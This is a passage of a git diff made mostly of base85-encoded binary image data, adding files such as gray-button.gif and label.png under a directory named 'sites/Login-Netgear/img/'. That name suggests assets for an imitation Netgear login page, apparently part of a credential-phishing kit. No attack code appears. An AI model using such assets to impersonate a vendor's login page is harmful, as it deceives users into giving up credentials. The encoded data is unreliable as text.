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 vMdHz~O+qkJ zP;Qo-@(N|KOfjVeN@^?A?oxXf|!TH)or&^u&hNc86D)a|M1o6>W4 z=az0OZ9m=KbFydZrKwX-PhELy<+|z+l9n15yt169d~M2a%(KohDLlDMubI;OM`Q zA>uSKYGL>5tpOQ2n-bPrZ2Zxq)%9L!Zk#yB!W-R(*51A^`!g-TfQN&nj9FaYP`-v) zN=<>QhLu@F$56SUuF_ClgqfL3(@?XQZ4tBNBwYz+6+@j_i`dv_3#l3!s2l37VBa-+ l53^jWp$yaBBg{-<+DeCy@E>6k<~Y5FM~mm&(JPJ&)&SvFf^+}? literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/gray-button.gif b/sites/Login-Netgear/img/gray-button.gif new file mode 100644 index 0000000000000000000000000000000000000000..32081c35baa46d11ec45a5e2385e9c4805e797b0 GIT binary patch literal 3346 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 literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/label.png b/sites/Login-Netgear/img/label.png new file mode 100644 index 0000000000000000000000000000000000000000..9189209c08374ea96cd3f0e10c0d52b095be9716 GIT binary patch literal 81926 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 